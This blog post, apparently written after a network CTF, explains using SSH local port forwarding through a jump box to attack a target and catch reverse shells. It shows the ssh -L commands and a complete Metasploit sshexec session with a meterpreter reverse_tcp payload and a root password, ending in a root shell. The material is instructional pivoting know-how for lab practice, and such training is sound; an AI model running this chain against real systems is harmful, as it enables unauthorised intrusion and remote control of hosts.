I worked through a netpen CTF the other day that provided me a jump box to access the entire scenario with. Despite there being some tools installed on the jump, I didn’t want to use it as my attacking host nor did I want to catch shells on it. Instead, I opted to port forward through this host when attacking target hosts in the scenario. A trick I used to catch reverse shells on my attacking host involved some port forwarding using SSH.
There are a good number of ways to go about forwarding or proxying connections through hosts. I often like to keep things simple and, as such, often make use of the ‘-L’ and ‘-R’ flags provided by the SSH remote login tool. I’ll only be talking about using the ‘-L’ flag in this blog post. Perhaps I’ll go over reverse port forwards another time.
Here is a snippet from SSH’s man page to clarify what the ‘-L’ flag does.
-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
Specifies that connections to the given TCP port or Unix socket on the
local (client) host are to be forwarded to the given host and port, or
Unix socket, on the remote side. This works by allocating a socket to
listen to either a TCP port on the local side, optionally bound to the
specified bind_address, or to a Unix socket. Whenever a connection is
made to the local port or socket, the connection is forwarded over the
secure channel, and a connection is made to either host port hostport,
or the Unix socket remote_socket, from the remote machine.
Port forwardings can also be specified in the configuration file. Only
the superuser can forward privileged ports. IPv6 addresses can be
specified by enclosing the address in square brackets.
By default, the local port is bound in accordance with the GatewayPorts
setting. However, an explicit bind_address may be used to bind the
connection to a specific address. The bind_address of “localhost”
indicates that the listening port be bound for local use only, while an
empty address or ‘*’ indicates that the port should be available from
all interfaces.
In short, using this flag forwards a socket (IP address and Port) to another one. It doesn’t need to be any more complicated than that.
Getting back to the CTF scenario… As I was using my attacking host to communicate with target hosts and catch shells, I needed my jump box to do the following two things:
- Forward a non-local port to a target’s non-local port.
- Forward a non-local port to local port on my attacking host
Clear as mud? Let’s break this down…
In the following example I am going to use three Linux hosts to simulate executing a remote exploit on a target host through a jump box. The target will send its reverse shell back to the jump box. The jump box will forward that shell’s connection back to my attacking host.
Still muddy? We’ll break this down even further. Let’s list out the involved parties.
- Attacking Host – 192.168.0.1
- Jump Host – 192.168.0.2 and 10.0.0.2 (the Jump host is dual-homed)
- Target Host – 10.0.0.1
Here are all the components of what we’re doing:
- Forwarding 127.0.0.1:2222 on the attacking host through the Jump host to 10.0.0.1:22
- Forwarding 10.0.0.2:4444 on the jump box to 127.0.0.1:4444 on the attacking host
Which allows us to do the following:
- Attack the “vulnerable service” on the target from the attacking host through the jump box
- Point the exploit’s shellcode payload at the jump box but have it forwarded to the attacking host
Take a look at the following figure for an illustrative explanation of what’s going on.
In this scenario I am going to “exploit” the target’s SSH service using Metasploit’s “exploit/multi/ssh/sshexec” module. Please ignore the details of what is being exploited and how. But first we’ll need to setup our SSH port forwards.
Execute the following commands on the attacking host:
JUMP="192.168.0.2"
TARGET="10.0.0.1"
ssh -N user@${JUMP} -p 22 -L 2222:${TARGET}:22
Ensure the local port is listening (on the attacking host) using “netstat” or “ss”:
netstat -nalpt | grep LISTEN | grep ssh tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN 32048/ssh tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 791/sshd
Execute the following commands on the jump host:
ATTACKING_HOST="192.168.0.1"
ssh -N user@${ATTACKING_HOST} -p 22 -L 0.0.0.0:4444:127.0.0.1:4444
Ensure the non-local port is listening (on the jump host) using “netstat” or “ss”:
netstat -nalpt | grep LISTEN | grep ssh tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 484/sshd tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3562/ssh tcp6 0 0 :::22 :::* LISTEN 484/sshd
Looking closely at the two netstat outputs you may be wondering why you are not seeing a listening socket of 127.0.0.1:4444 on the attacking host. This is because we haven’t fired up Metasploit and configured our multi-handler to catch an incoming shell.
So let’s do that… Once Metasploit has finished loading we’ll issue the following commands to set up our environment.
msf5 > use exploits/multi/ssh/sshexec msf5 exploit(multi/ssh/sshexec) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf5 exploit(multi/ssh/sshexec) > set RPORT 2222 RPORT => 2222 msf5 exploit(multi/ssh/sshexec) > set USERNAME root USERNAME => root msf5 exploit(multi/ssh/sshexec) > set PASSWORD Summer2019 PASSWORD => Summer2019 msf5 exploit(multi/ssh/sshexec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf5 exploit(multi/ssh/sshexec) > set LPORT 4444 LPORT => 4444 msf5 exploit(multi/ssh/sshexec) > set LHOST 10.0.0.2 LHOST => 10.0.0.2 msf5 exploit(multi/ssh/sshexec) > set ReverseListenerBindAddress 127.0.0.1 ReverseListenerBindAddress => 127.0.0.1
Notice we’re telling Metasploit that the RHOST (target) is 127.0.0.1 on TCP port 4444. Also notice that we told Metasploit that our LHOST (shell catcher) was the jump host (10.0.0.2).
Some magic sauce here is the use of the “ReverseListenerBindAddress” parameter. This let’s Metasploit know the shell will ultimately be caught by 127.0.0.1 on the attacking host and not on the jump host (10.0.0.2).
One extra thing to point out about using the “exploit/multi/ssh/sshexec” Metasploit module is that it requires a web server to help deliver staged payloads. This is controlled by the “SRVHOST” and “SRVPORT” parameters. In my example we’ll need to add an extra port forward on the jump host to ensure the target can connect to this service. We’ll do this by executing the following commands on the jump host.
ATTACKING_HOST="192.168.0.1"
ssh -N user@${ATTACKING_HOST} -p 22 -L 0.0.0.0:8080:127.0.0.1:8080
Ensure the non-local port is listening (on the jump host) using “netstat” or “ss”:
netstat -nalpt | grep LISTEN | grep ssh tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 3773/ssh tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 484/sshd tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 3562/ssh tcp6 0 0 :::22
We’ll also bind this delivery service to 127.0.0.1 by setting the “SRVHOST” parameter in Metasploit.
msf5 exploit(multi/ssh/sshexec) > set SRVHOST 127.0.0.1 SRVHOST => 127.0.0.1
At this point we’re ready to go. Running the module looks something like:
msf5 exploit(multi/ssh/sshexec) > run
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] 127.0.0.1:2222 - Sending stager...
[*] Command Stager progress - 42.75% done (342/800 bytes)
[*] Sending stage (985320 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54472) at 2020-02-01 14:00:32 -0500
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)
meterpreter > shell
Process 22641 created.
Channel 1 created.
whoami
root
pwd
/root
ifconfig | grep 10\.0\.0\.1
inet 10.0.0.1 netmask 255.255.255.0 broadcast 10.0.0.255
Success! We caught our shell using a jump box as a go-between.
As some of you might be quick to point out, there are other ways of performing this type of forwarding or proxying. There is always dynamic port forwarding using SSH’s “-D” flag in conjunction with “Proxychains”. Additionally, there exists a really cool tool known as “sshuttle” that allows you to route through SSH services on remote hosts. Both are completely viable options that I use from time-to-time.
